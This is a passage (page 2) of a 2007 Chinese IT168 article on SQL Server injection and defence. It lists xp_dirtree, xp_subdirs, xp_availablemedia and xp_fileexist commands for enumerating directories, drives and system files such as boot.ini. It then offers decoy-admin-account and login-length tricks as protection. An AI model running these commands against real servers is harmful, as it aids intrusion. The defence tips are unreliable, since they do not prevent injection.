已登录 首页 | 产品报价 全国行情 产品排行榜 | 渠道商情 商铺大全 | 新闻 评测 专题 下载 | 培训 视频 高端访谈 | 产品论坛 MY168 圈子 装备
IT168.com
当前位置:IT168首页 > 安全 > 防御SQL注入有妙法
[收藏此页] [打印] [推荐] [评论]

[攻防手记]SQL Server注入大全及防御

责任编辑:林洪技作者:Ray   2007-09-10   

    四、其他获取系统信息

    历遍目录
    exec master.dbo.xp_dirtree 'c:\'


 



    获取子目录
    exec master.dbo.xp_subdirs 'c:\'
 


 

    列举可用的系统分区
    exec master.dbo.xp_availablemedia

 


 


    判断目录或文件是否存在
    exec master..xp_fileexist 'c:\boot.ini'



    五、防御SQL注入有妙法

    1.对表结构进行修改。将管理员的账号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。

    2.对表进行修改。设置管理员权限的账号放在ID1,并输入大量中文字符,最好大于100个字。

    3.把真正的管理员密码放在ID2后的任何一个位置。

    我们通过上面的三步完成了对数据库的修改。

    这时是不是修改结束了呢?其实不然,要明白你做的ID1账号其实也是真正有权限的账号,现在计算机处理速度那么快,要是遇上个一定要将它算出来的软件,这也是不安全的。我想这时大多数人已经想到了办法,对,只要在管理员登录的页面文件中写入字符限制就行了!就算对方使用这个有上千字符的账号密码也会被挡住的,而真正的密码则可以不受限制。

上一页12
3
下一页
收藏到: 添加到“百度搜藏”添加到“QQ书签”添加到“Google书签”添加到“Yahoo收藏”添加到“和讯网摘”
本文欢迎转载,转载请注明:转载自IT168 [ http://www.it168.com/ ]
本文链接:http://safe.it168.com/ss/2007-09-10/200709100935438_2.shtml
安全相关文章   黑客
  • 暂无